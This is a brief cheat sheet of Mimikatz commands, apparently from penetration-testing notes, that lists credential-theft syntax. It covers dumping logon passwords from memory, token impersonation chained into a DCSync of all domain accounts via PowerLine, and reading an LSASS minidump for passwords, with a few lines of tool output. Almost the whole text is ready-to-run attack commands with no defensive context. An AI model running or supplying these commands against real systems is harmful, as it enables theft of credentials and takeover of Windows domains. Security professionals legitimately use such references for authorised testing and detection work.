Mimikatz

Invoke-Mimikatz

Standard Syntax

Invoke-Mimikatz -Command "'sekurlsa::logonpasswords'"

Token Impersonation into DCSync

#Utilizing PowerLine in this example
Pl.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"token::list`\"\""
Pl.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"token::elevate /user:user`\" `\"LSADUMP::DCSync /All`\"\""

Easy Wins

Mimikatz.exe

Minidump - Read LSASS Dumps

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...